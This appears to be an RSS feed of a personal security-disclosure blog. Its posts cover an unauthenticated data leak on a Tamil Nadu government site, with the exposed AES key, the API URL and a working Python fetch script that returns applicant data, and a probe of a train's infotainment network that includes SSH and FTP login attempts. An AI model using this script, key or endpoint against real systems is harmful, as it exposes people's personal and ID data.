<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[grizzly writes]]></title><description><![CDATA[disclosures, notes, and logs]]></description><link>https://v4.ax</link><generator>RSS for Node</generator><lastBuildDate>Fri, 24 Apr 2026 20:18:20 GMT</lastBuildDate><atom:link href="https://v4.ax/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How I exploited TN Gov's EnKanavu website]]></title><description><![CDATA[It started like any other day: the Department of Technical Education (DoTE) had apparently instructed colleges - and the colleges, in turn, had asked students - to submit their preferences on https://]]></description><link>https://v4.ax/how-i-exploited-tn-govt-enkanavu-website</link><guid isPermaLink="true">https://v4.ax/how-i-exploited-tn-govt-enkanavu-website</guid><category><![CDATA[tamil nadu]]></category><category><![CDATA[#govTech]]></category><category><![CDATA[Govtech salesforce managed services providers]]></category><category><![CDATA[Data Breach]]></category><category><![CDATA[TamilNaduPolitics]]></category><category><![CDATA[TNeGA]]></category><dc:creator><![CDATA[Soundarahari P]]></dc:creator><pubDate>Thu, 19 Mar 2026 09:48:43 GMT</pubDate><content:encoded><![CDATA[<p>It started like any other day: the Department of Technical Education (DoTE) had apparently instructed colleges - and the colleges, in turn, had asked students - to submit their preferences on <a href="https://enkanavu.tn.gov.in/">https://enkanavu.tn.gov.in/</a> (now defunct, API endpoints are also defunct).</p>
<p>When I opened the site, the design felt off, almost as if it had been generated by AI. A quick inspection revealed exposed API endpoints.</p>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/cd4a797c-450c-45c7-8706-f8daafebeaca.png" alt="" style="display:block;margin:0 auto" />

<p>During registration the site requested a mobile number and sent an OTP for verification; surprisingly, a development/debug OTP endpoint appeared accessible, allowing me to authenticate with the API.</p>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/a6309806-dd27-4377-aa04-ba3d18469950.png" alt="" style="display:block;margin:0 auto" />

<p>I tried to see what the request data was, but it looked like it was encrypted</p>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/4ba4a662-f75c-45c2-aff9-7af9296e3ab6.png" alt="" style="display:block;margin:0 auto" />

<p>My spidey senses kicked in, I looked over the source code of the website and found a few interesting entries/files</p>
<pre><code class="language-javascript">
// encrypt_decrypt.js

function encryptData(data) {
    const secretKey = "xmcK|fbngp@!71L$";
    const key = CryptoJS.enc.Hex.parse(CryptoJS.SHA256(secretKey).toString());
    const iv = CryptoJS.lib.WordArray.random(16);

    const encrypted = CryptoJS.AES.encrypt(JSON.stringify(data), key, {
        iv: iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7,
    });

    const combinedData = iv.concat(encrypted.ciphertext);
    return CryptoJS.enc.Base64.stringify(combinedData);
}

function decryptData(encryptedData) {
    const secretKey = "xmcK|fbngp@!71L$";
    const key = CryptoJS.enc.Hex.parse(CryptoJS.SHA256(secretKey).toString());
    const decodedData = CryptoJS.enc.Base64.parse(encryptedData).toString(CryptoJS.enc.Hex);

    const ivHex = decodedData.slice(0, 32);
    const cipherHex = decodedData.slice(32);
    const iv = CryptoJS.enc.Hex.parse(ivHex);
    const ciphertext = CryptoJS.enc.Hex.parse(cipherHex);

    const decrypted = CryptoJS.AES.decrypt(
        { ciphertext: ciphertext },
        key,
        {
            iv: iv,
            mode: CryptoJS.mode.CBC,
            padding: CryptoJS.pad.Pkcs7,
        }
    );

    return JSON.parse(decrypted.toString(CryptoJS.enc.Utf8));
}

// Make globally available
window.encryptData = encryptData;
window.decryptData = decryptData;
</code></pre>
<p>So it was AES encrypted, but the keys are available client-side, and are static.</p>
<pre><code class="language-javascript">// global.js

// var api_base_url = "https://tngis.tnega.org/lcap_api/dipr-lcap-api/ekee";
// var api_base_url = "https://tngis.tnega.org/generic_api/ekee";
var api_base_url = "https://sfdb-web.eba-xxzkshkf.ap-south-2.elasticbeanstalk.com/api/ekee";
</code></pre>
<p>Okay so thats the API base url, which we will use later.</p>
<pre><code class="language-javascript">// script.js

// few interesting functions from the file

async function checkApplicationStatus(phone) {
  const payload = {
    action: "otp_operation",
    operation: "get_user_details",
    mobile_no: phone
  };

  $.ajax({
    url: `${api_base_url}/v1/fn_otp_operation`,
    type: "POST",
    headers: { "X-App-Key": "TN_EKEE", "X-App-Name": "TN_EKEE" },
    data: { data: encryptData(payload) },
    dataType: "json",
    success: function (response) {
      if (response.success === 1) {
        if (response.user_count &gt; 0 &amp;&amp; response.user) {
          handleExistingApplication(response);
        } else {
          handleNewUser(phone);
        }
      } else {
        console.error("Failed to check application status:", response.message);
        handleNewUser(phone);
      }

      hideOTPModal();
    },
    error: function () {
      console.error("Failed to check application status");
      handleNewUser(phone);
      hideOTPModal();
    }
  });
}

function handleExistingApplication(response) {
  const user = response.user;
  const userMapping = response.user_mapping;
  window.pendingIconName = user.icon_name || '';

  // Fill basic form fields
  document.getElementById('name').value = user.name || '';
  document.getElementById('gender').value = user.gender || '';
  document.getElementById('email').value = user.email || '';
  document.getElementById('district').value = user.district || '';
  document.getElementById('dob').value = user.dob || '';
  document.getElementById('age').value = user.age || '';
  document.getElementById('education').value = user.education || '';
  document.getElementById('employmentStatus').value = user.employment_status || '';
  document.getElementById('employmentType').value = user.employment_type || '';
  document.getElementById('otherAspirations').value = user.otheraspirations || '';
  document.getElementById('respondent_type').value = user.respondent || '';

  // Handle employment type display
  if (user.employment_status == 24 || user.employment_status == 24) {
    document.getElementById('employmentTypeWrap').style.display = 'block';
  }
  document.getElementById('employmentType').value = user.employment_type || '';

  if(user.employment_type == 41) {
    document.getElementById('employmentTypeOtherSpecifyWrap').style.display = 'block';
  }
  document.getElementById('employmentTypeOtherSpecify').value = user.employmenttypeotherspecify || '';
  document.getElementById('employmentTypeOtherSpecify').required = true;
  if (user.poa_filepath || user.por_filepath) {
    $('.file_input').css('display', 'none');
    const poiFilepath = user.poa_filepath || user.por_filepath;
    const poiInput = document.getElementById('poi');
    const poiContainer = poiInput.parentElement;

    const fileName = poiFilepath.split('/').pop() || poiFilepath;

    const downloadLink = document.createElement('a');
    downloadLink.href = `${poiFilepath}`;
    downloadLink.target = '_blank';

    const icon = document.createElement('i');
    icon.className = 'fas fa-file-download';
    icon.style.marginRight = '8px';

    const text = document.createTextNode(` Download previously uploaded file`);

    downloadLink.appendChild(icon);
    downloadLink.appendChild(text);

    downloadLink.style.display = 'inline-flex';
    downloadLink.style.alignItems = 'center';
    downloadLink.style.marginTop = '8px';
    downloadLink.style.padding = '8px 12px';
    downloadLink.style.backgroundColor = '#f0f7ff';
    downloadLink.style.border = '1px solid #0f6cff';
    downloadLink.style.borderRadius = '6px';
    downloadLink.style.color = '#0f6cff';
    downloadLink.style.textDecoration = 'none';
    downloadLink.style.fontSize = '14px';
    downloadLink.style.transition = 'all 0.3s ease';

    downloadLink.onmouseenter = () =&gt; {
      downloadLink.style.backgroundColor = '#e0f0ff';
      downloadLink.style.transform = 'translateY(-1px)';
    };
    downloadLink.onmouseleave = () =&gt; {
      downloadLink.style.backgroundColor = '#f0f7ff';
      downloadLink.style.transform = 'translateY(0)';
    };

    const existingFileContainer = document.createElement('div');
    existingFileContainer.style.marginTop = '12px';
    existingFileContainer.style.marginBottom = '12px';
    existingFileContainer.style.padding = '12px';
    existingFileContainer.style.backgroundColor = '#f8fafc';
    existingFileContainer.style.borderRadius = '8px';
    existingFileContainer.style.border = '1px solid #e2e8f0';

    const title = document.createElement('div');
    title.innerHTML = '&lt;strong&gt;&lt;i class="fas fa-file-alt"&gt;&lt;/i&gt; Previously Uploaded Document:&lt;/strong&gt;';
    title.style.marginBottom = '8px';
    title.style.color = '#334155';

    existingFileContainer.appendChild(title);
    existingFileContainer.appendChild(downloadLink);

    poiContainer.appendChild(existingFileContainer);

    poiInput.dataset.existingFile = poiFilepath;
    poiInput.required = false;
  }
  // Handle POI file display (existing code remains the same)
  // ... [keep your existing POI file display code]

  localStorage.setItem('application_id', user.application_id || '');
  $('#submit_form').css('background', 'green').text('Application submitted').attr('disabled', true);

  // Store the mapping for later use
  window.pendingUserMapping = userMapping;

  // Check if dreams are already loaded
  const immediateContainer = document.getElementById('immediateDreams');
  const fiveYearContainer = document.getElementById('fiveYearDreams');
  
  // If dreams are already rendered, prefill immediately
  if (immediateContainer.children.length &gt; 1 &amp;&amp; fiveYearContainer.children.length &gt; 1) {
    console.log("Dreams already loaded, pre-filling now...");
    prefillDreams(window.pendingUserMapping);
    window.pendingUserMapping = null;
  } else {
    console.log("Dreams not loaded yet, will pre-fill after loading...");

    // Wait for dreams to load
    setTimeout(() =&gt; {
      if (window.pendingUserMapping) {
        console.log("Attempting delayed pre-fill...");
        prefillDreams(window.pendingUserMapping);
        window.pendingUserMapping = null;
      }
    }, 2000); // Wait 2 seconds for dreams to load
  }

  // If icon_name exists, disable the field
  setTimeout(() =&gt; {
    if (user.icon_name) {
      const iconInput = document.getElementById('icon_name');
      if (iconInput) {
        iconInput.value = user.icon_name;
        iconInput.disabled = true;
        iconInput.style.backgroundColor = '#f8fafc';
      }
    }
  }, 1000);
  setTimeout(() =&gt; {
    disableFilledInputs('dreamForm');
  }, 1300); 


}
</code></pre>
<p>So according to this function, I'll be able to get anyone's data with just their phone number... right?</p>
<p>Lets try it out.</p>
<p>running checkApplicationstatus(xxxxxxxxxx) in browser JavaScript console populates the form with previously filled data, without authentication.</p>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/508244bc-adb2-4cfd-9d97-6cd4afa71816.png" alt="" style="display:block;margin:0 auto" />

<p>Wow... I think i hit a jackpot, thats the ID proof I uploaded to verify myself on the site, and it was accessible without authentication.</p>
<p>Well even if it had authentication, it wouldn't matter because of the debug_otp.</p>
<p>I wrote a quick python script to help me fetch data..</p>
<pre><code class="language-python">import json
import base64
import hashlib
import os
import sys
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

API_BASE_URL = "https://sfdb-web.eba-xxzkshkf.ap-south-2.elasticbeanstalk.com/api/ekee"
SECRET_KEY = "xmcK|fbngp@!71L$"


def encrypt_data(data: dict) -&gt; str:
    # SHA256 key (same as CryptoJS.SHA256)
    key = hashlib.sha256(SECRET_KEY.encode()).digest()

    # Random 16-byte IV
    iv = os.urandom(16)

    # AES-CBC encryption
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = json.dumps(data).encode()
    ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

    # Combine IV + ciphertext and base64 encode
    combined = iv + ciphertext
    return base64.b64encode(combined).decode()


def check_application_status(phone: str):
    payload = {
        "action": "otp_operation",
        "operation": "get_user_details",
        "mobile_no": phone
    }

    encrypted_payload = encrypt_data(payload)

    headers = {
        "X-App-Key": "TN_EKEE",
        "X-App-Name": "TN_EKEE",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    response = requests.post(
        f"{API_BASE_URL}/v1/fn_otp_operation",
        headers=headers,
        data={"data": encrypted_payload},
        timeout=30,
    )

    print("Status:", response.status_code)
    try:
        pretty = json.dumps(response.json(), indent=2, ensure_ascii=False)
        print(pretty)
    except Exception:
        print(response.text)

    return response

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} &lt;phone_number&gt;")
        sys.exit(1)

    phone_number = sys.argv[1]
    check_application_status(phone_number)
</code></pre>
<pre><code class="language-shell">soundar@fedora:~/lab/research$ python3 enkanavu.py XXXXXXXXXXXX
Status: 200
{
  "success": 1,
  "user_count": 1,
  "user": {
    "id": 81929,
    "name": "VishnuXXXXXXXXXXXXX",
    "gender": "4",
    "email": "vishnuXXXXXXXXXXXXXXXXXXx",
    "district": 25,
    "taluk": null,
    "proof": "https://sfdb-elcot-household.s3.ap-south-1.amazonaws.com/ekee/uploads/XXXXXXXXXXXXXXXXXXX.pdf?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Security-Token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=ASIAZPU3GJZTPFNPQU3U%2F20260223%2Fap-south-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20260223T043641Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1200&amp;X-Amz-Signature=3324b07650b9d76a3029502fb67c1fabd20835d7cb446d23c4534bb21f7200c4",
    "dob": "20XX-XX-XX",
    "age": 19,
    "education": "20",
    "employment_status": "26",
    "is_active": true,
    "created_by": 1,
    "created_ts": "2026-02-17 03:51:59.255242",
    "updated_by": null,
    "updated_ts": null,
    "proof_of_age": null,
    "application_id": "APP_XXXXXXXXXXXX_20260217035159",
    "por_filepath": "https://sfdb-elcot-household.s3.ap-south-1.amazonaws.com/ekee/uploads/XXXXXXXXXXXXXXXXXXX.pdf?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Security-Token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=ASIAZPU3GJZTPFNPQU3U%2F20260223%2Fap-south-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20260223T043641Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1200&amp;X-Amz-Signature=3324b07650b9d76a3029502fb67c1fabd20835d7cb446d23c4534bb21f7200c4",
    "poa_filepath": null,
    "employment_type": "",
    "mobile_no": "XXXXXXXXXXXX",
    "otheraspirations": "",
    "respondent": "8",
    "icon_name": "",
    "employmenttypeotherspecify": ""
  },
  "mobile_no": "XXXXXXXXXXXX",
  "user_mapping": {
    "usercount": 3,
    "user": [
      {
        "id": 262653,
        "user_id": 81929,
        "category_id": 1,
        "priority": 2,
        "support_option": "135",
        "created_on": "2026-02-17 03:51:59.255242",
        "application_id": "APP_XXXXXXXXXXXX_20260217035159"
      },
      {
        "id": 262652,
        "user_id": 81929,
        "category_id": 2,
        "priority": 1,
        "support_option": "154",
        "created_on": "2026-02-17 03:51:59.255242",
        "application_id": "APP_XXXXXXXXXXXX_20260217035159"
      },
      {
        "id": 262654,
        "user_id": 81929,
        "category_id": 14,
        "priority": 1,
        "support_option": "177",
        "created_on": "2026-02-17 03:51:59.255242",
        "application_id": "APP_XXXXXXXXXXXX_20260217035159"
      }
    ]
  },
  "message": "User details fetched successfully"
}
</code></pre>
<p>Woah... the site is leaking data including sensitive ID documents without authentication, yet the site claims "Your data is safe". LOL</p>
<p>I tried reaching out to TNeGA via various channels and people, but sadly I have not received a response from them.</p>
]]></content:encoded></item><item><title><![CDATA[Digging into Vande Bharat's Infotainment system]]></title><description><![CDATA[Recently I traveled on Vande Bharat Express, from BLR to ED(20641), for those unfamiliar with the train, it’s a medium to long-distance higher-speed rail Express train service offering reserved, air-conditioned chair car accommodations. (Ref: Wikiped...]]></description><link>https://v4.ax/digging-into-vande-bharats-infotainment-system</link><guid isPermaLink="true">https://v4.ax/digging-into-vande-bharats-infotainment-system</guid><category><![CDATA[VandeBharat]]></category><category><![CDATA[VandeBharatExpress]]></category><category><![CDATA[#InfotainmentSystems]]></category><category><![CDATA[#DLinkRouter  #RouterSetup  #DLinkSetup  #WiFiSetup  #HomeNetworking  #DLinkrouterLocal  #RouterLogin  #TechTips  #WiFiGuide  #NetworkSetup  #InternetSetup  #RouterSupport  #WiFiTroubleshooting  #TechHelp]]></category><category><![CDATA[wifi]]></category><category><![CDATA[india]]></category><category><![CDATA[railways]]></category><dc:creator><![CDATA[Soundarahari P]]></dc:creator><pubDate>Wed, 01 Oct 2025 16:58:33 GMT</pubDate><content:encoded><![CDATA[<p>Recently I traveled on Vande Bharat Express, from BLR to ED(20641), for those unfamiliar with the train, it’s a medium to long-distance higher-speed rail Express train service offering reserved, air-conditioned chair car accommodations. (Ref: <a target="_blank" href="https://en.wikipedia.org/wiki/Vande_Bharat_Express">Wikipedia</a>).</p>
<p>It has a lot of features such as onboard-WiFi for infotainment, reading lights, onboard-pantry, electric outlets, and automatic doors.</p>
<p>The infotainment system/onboard wifi caught my eye, I was curious and I decided to dig into it after finishing a movie on Netflix(with my own hotspot, not the onboard-wifi).</p>
<p>to clarify at the start,<br />the onboard-wifi doesn’t give you internet access, it gives you intranet access. Somewhere in the train, there’s a server hosting the minimal 1950’s movies and songs.</p>
<p>I connected to the Vandebharatinfotainment SSID, which was an Open Network, and upon connecting my browser and my operating systems pushed the Captive Portal signin notifications, turns out that it’s the infotainment system! Yup, it intercepts all requests and presents the infotainment system on them.</p>
<p>It was boring, nothing interesting that I could watch, so I decided to dig in further. Fired my developer tools and monitored the requests.</p>
<p>There wasn’t much, it looked like a static site to me, but there were few interesting configuration files,</p>
<p>http://vandebharat.myinfotain.com/assets/config/config.js</p>
<pre><code class="lang-javascript">config = {

    <span class="hljs-attr">crewApiUrl</span>: <span class="hljs-string">"http://myinfotain.com:3000"</span>,
}
</code></pre>
<p>http://vandebharat.myinfotain.com/assets/config/pisconfig.js</p>
<pre><code class="lang-javascript">{
    <span class="hljs-attr">DisplayEnglish</span>: [{ <span class="hljs-attr">Name</span>: <span class="hljs-string">"Last Updated On"</span>, <span class="hljs-attr">Index1</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">Index2</span>:<span class="hljs-number">1</span> },
    { <span class="hljs-attr">Name</span>: <span class="hljs-string">"Speed"</span>, <span class="hljs-attr">Index1</span>: <span class="hljs-number">2</span> },{ <span class="hljs-attr">Name</span>: <span class="hljs-string">"Next Stop"</span>, <span class="hljs-attr">Index1</span>: <span class="hljs-number">5</span> }
    ],

    <span class="hljs-attr">TripStartDate</span>: <span class="hljs-number">5</span>,
    <span class="hljs-attr">TripStartTime</span>: <span class="hljs-number">6</span>,
    <span class="hljs-attr">PAS</span>: <span class="hljs-number">7</span>,
     <span class="hljs-attr">startIndex</span> : <span class="hljs-number">2</span>,
     <span class="hljs-attr">totalLanguages</span> : <span class="hljs-number">5</span>,
     <span class="hljs-attr">totalStations</span> : <span class="hljs-number">5</span>,
    <span class="hljs-attr">presentStation</span> :{ <span class="hljs-attr">id</span>:<span class="hljs-number">2</span>, <span class="hljs-attr">name</span>:<span class="hljs-string">"Present Station"</span> },
    <span class="hljs-attr">nextStation</span> :{<span class="hljs-attr">id</span>:<span class="hljs-number">4</span>, <span class="hljs-attr">name</span>:<span class="hljs-string">"Next Station"</span>} ,
    <span class="hljs-attr">time</span>:<span class="hljs-number">5</span>,
    <span class="hljs-attr">pas</span> :<span class="hljs-string">"Please Listen to Announcement...!"</span>,
    <span class="hljs-attr">df</span>:<span class="hljs-string">"102"</span>,
    <span class="hljs-attr">j</span>:<span class="hljs-string">"No Data Available"</span>
}
</code></pre>
<p>PIS… that stands for Passenger Information System. Interesting.</p>
<p>There was also a dedicated page to see the current train speed, departing station, arriving station and time.<br />It was pulling the data from a bunch of text files.</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://vandebharat.myinfotain.com/assets/pis/routedata.txt
22-09-25
17:10
55 kmph
01:04
00:34
56 km</span>
</code></pre>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://vandebharat.myinfotain.com/assets/pis/PresentNext.txt

0
2
Salem</span>
</code></pre>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://vandebharat.myinfotain.com/assets/pis/sd.txt

0
Bangalore cantt
Coimbatore</span>
</code></pre>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://vandebharat.myinfotain.com/assets/pis/jounney.txt

1</span>
</code></pre>
<p>I looked through the source code and found these functions which described the text files.</p>
<pre><code class="lang-javascript">           getAPips() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.httpClient.get(<span class="hljs-built_in">this</span>.config.crewApiUrl + <span class="hljs-string">'/getAP'</span>, {
                <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
              })
            }
            getTrainData() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.httpClient.get(
                <span class="hljs-string">'assets/pis/routedata.txt?date='</span> + <span class="hljs-built_in">this</span>.getCacheBreaker(),
                {
                  <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
                }
              )
            }
            getPASData() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.httpClient.get(
                <span class="hljs-string">'assets/pis/pas.txt?date='</span> + <span class="hljs-built_in">this</span>.getCacheBreaker(),
                {
                  <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
                }
              )
            }
            getDynamicRoute() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.httpClient.get(
                <span class="hljs-string">'assets/pis/PresentNext.txt?date='</span> + <span class="hljs-built_in">this</span>.getCacheBreaker(),
                {
                  <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
                }
              )
            }
            getJourneyStatus() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.date = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>,
              <span class="hljs-built_in">this</span>.httpClient.get(
                <span class="hljs-string">'assets/pis/jounney.txt?r='</span> + <span class="hljs-built_in">this</span>.getCacheBreaker(),
                {
                  <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
                }
              )
            }
            getSD() {
              <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.date = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>,
              <span class="hljs-built_in">this</span>.httpClient.get(
                <span class="hljs-string">'assets/pis/sd.txt?r='</span> + <span class="hljs-built_in">this</span>.getCacheBreaker(),
                {
                  <span class="hljs-attr">responseType</span>: <span class="hljs-string">'text'</span>
                }
              )
            }
</code></pre>
<p>getAPip() function was interesting, it was using the URL from config.js<br />I tried the endpoint and it returned two IP addresses</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://192.168.190.1:3000/getAP 

192.168.190.45
192.168.191.61</span>
</code></pre>
<p>I wasn’t able to connect to the second IP since it wasn’t in my subnet range, but the first IP was running some sort of DLINK router(confirmed by the splash login page when I tried port 443)</p>
<p>The Crew API is some sort of NodeJS/Express server</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET http://192.168.190.1:3000/getAP -I
HTTP/1.1 200 OK
X-Powered-By</span>: Express
<span class="hljs-attribute">Access-Control-Allow-Origin</span>: *
<span class="hljs-attribute">Content-Type</span>: text/html; charset=utf-8
<span class="hljs-attribute">Content-Length</span>: 29
<span class="hljs-attribute">ETag</span>: W/"1d-8a+on1OgGx3fJp7w78P968fKH/U"
<span class="hljs-attribute">Date</span>: Mon, 22 Sep 2025 22:49:43 GMT
<span class="hljs-attribute">Connection</span>: keep-alive
</code></pre>
<p>I tried some other ports on 192.168.190.1 since I noticed the info-tv’s randomly rebooting and for a split second you can see the browser trying to load something on the IP.</p>
<p>Yup. I was correct, it was running on port 8085, and it also had SSH and FTP ports open, though I wasn’t able to connect to them.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759337146918/7906e851-076a-4f05-bce8-b9c63304a82b.png" alt class="image--center mx-auto" /></p>
<p>Port 8085 was querying live data over a websocket connection.  </p>
<p>151.js</p>
<pre><code class="lang-javascript">(
  <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-string">'use strict'</span>;
    <span class="hljs-keyword">var</span> e,
    o = !<span class="hljs-number">0</span>,
    i = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">t</span>) </span>{
      <span class="hljs-keyword">var</span> s = <span class="hljs-keyword">new</span> FileReader;
      s.readAsText(t.data),
      s.onloadend = <span class="hljs-function"><span class="hljs-params">p</span> =&gt;</span> {
        <span class="hljs-keyword">let</span> r = <span class="hljs-built_in">JSON</span>.parse(s.result.toString());
        <span class="hljs-number">253</span> == r.FunctionCode ? e.send(<span class="hljs-string">'4,32'</span>) : postMessage(r)
      }
    },
    c = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">t</span>) </span>{
      o = !<span class="hljs-number">1</span>
    },
    u = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">t</span>) </span>{
      o = !<span class="hljs-number">0</span>,
      n()
    },
    l = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">t</span>) </span>{
      o = !<span class="hljs-number">0</span>
    };
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">n</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-built_in">setTimeout</span>(
        <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
          (e = <span class="hljs-keyword">new</span> WebSocket(<span class="hljs-string">'ws://'</span> + location.hostname + <span class="hljs-string">':8082'</span>)).onopen = c,
          e.onclose = u,
          e.onmessage = i,
          e.onerror = l
        },
        <span class="hljs-number">7000</span>
      )
    }
    <span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> {
      o &amp;&amp;
      postMessage({
        <span class="hljs-attr">FunctionCode</span>: <span class="hljs-number">255</span>
      })
    }, <span class="hljs-number">11000</span>),
    n()
  }
) ();
</code></pre>
<p>I dumped some websocket data, here below  </p>
<pre><code class="lang-plaintext">��{ 
    "FunctionCode":253
}

��{
    "FunctionCode":7,
    "System": {
    "SystemVal": 3,
        "Date": "22-09-25",
        "Time": "17:13",
        "Speed": {
            "Title":"Speed",
            "Value":"62 kmph"
        },
        "ExpTimetoStn":  {
            "Title":"Time to Reach",
            "Value":"00:51"
        },
        "Delay":  {
            "Title":"Delay",
            "Value":"00:34"
        }, 
    "DNS":  {
            "Title":"Next Stop",
            "Value":"52 km"
        },       
        "LId": 0
    }
}
��{
    "FunctionCode":7,
    "System": {
    "SystemVal": 1,
        "Date": "22-09-25",
        "Time": "17:13",
        "Speed": {
            "Title":"Speed",
            "Value":"62 kmph"
        },
        "ExpTimetoStn":  {
            "Title":"Time to Reach",
            "Value":"00:51"
        },
        "Delay":  {
            "Title":"Delay",
            "Value":"00:34"
        }, 
    "DNS":  {
            "Title":"Next Stop",
            "Value":"52 km"
        },       
        "LId": 0
    }
}
��{
    "FunctionCode":7,
    "System": {
    "SystemVal": 1,
        "Date": "22-09-25",
        "Time": "17:13",
        "Speed": {
            "Title":"Speed",
            "Value":"62 kmph"
        },
        "ExpTimetoStn":  {
            "Title":"Time to Reach",
            "Value":"00:51"
        },
        "Delay":  {
            "Title":"Delay",
            "Value":"00:34"
        }, 
    "DNS":  {
            "Title":"Next Stop",
            "Value":"52 km"
        },       
        "LId": 0
    }
}
��{ 
    "FunctionCode":253
}

��{
    "FunctionCode":7,
    "System": {
    "SystemVal": 2,
        "Date": "22-09-25",
        "Time": "17:13",
        "Speed": {
            "Title":"Speed",
            "Value":"62 kmph"
        },
        "ExpTimetoStn":  {
            "Title":"Time to Reach",
            "Value":"00:51"
        },
        "Delay":  {
            "Title":"Delay",
            "Value":"00:34"
        }, 
    "DNS":  {
            "Title":"Next Stop",
            "Value":"52 km"
        },       
        "LId": 0
    }
</code></pre>
<p>Yes, there’s some weird characters present. I have no clue why, perhaps it uses some different encoding(?)</p>
<p>I also tried SSH and FTP,</p>
<p>SSH only accepted ssh-rsa, and further attempts failed because of modern libcrypto.<br /><code>Unable to negotiate with 192.168.191.1 port 22: no matching host key type found. Their offer: ssh-rsa</code></p>
<pre><code class="lang-plaintext">SSH

soundar@fedora:~$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.191.1 
The authenticity of host '192.168.191.1 (192.168.191.1)' can't be established. 
RSA key fingerprint is SHA256:y8tZWtbdyaF6aduhunz/hoQG4qPollA5PhFWCb0+GD4. 
This key is not known by any other names. 
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added '192.168.191.1' (RSA) to the list of known hosts. 
ssh_dispatch_run_fatal: Connection to 192.168.191.1 port 22: error in libcrypto

FTP

soundar@fedora:~$ curl ftp://192.168.190.1:21
curl: (67) Access denied: 530
</code></pre>
<p>That’s it for now. Maybe the next time I board a VB train I’ll dig in further.</p>
]]></content:encoded></item><item><title><![CDATA[How I hacked into Linways AMS]]></title><description><![CDATA[this bug was reported on May 15, and was fixed by Linways in some amount of time. Follow up emails regarding transparency were ignored.
I was in my first year of college, and we had a platform to view our attendance percentages, marks, timetable, and...]]></description><link>https://v4.ax/how-i-hacked-into-linways-ams</link><guid isPermaLink="true">https://v4.ax/how-i-hacked-into-linways-ams</guid><category><![CDATA[linways]]></category><category><![CDATA[IDOR]]></category><category><![CDATA[AWS]]></category><category><![CDATA[S3]]></category><category><![CDATA[S3-bucket]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[Burpsuite  ]]></category><dc:creator><![CDATA[Soundarahari P]]></dc:creator><pubDate>Tue, 09 Sep 2025 16:43:55 GMT</pubDate><content:encoded><![CDATA[<p><em>this bug was reported on May 15, and was fixed by Linways in some amount of time. Follow up emails regarding transparency were ignored.</em></p>
<p>I was in my first year of college, and we had a platform to view our attendance percentages, marks, timetable, and more—essentially an Academic Management System. It was quite helpful for checking our percentages and planning class absences. Naturally, my curious mind wanted to explore this platform further. While fiddling around with it one day, I noticed a disabled section: the profile editing page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757435509458/7a215c58-eb48-468e-903f-bec5dc531afb.png" alt class="image--center mx-auto" /></p>
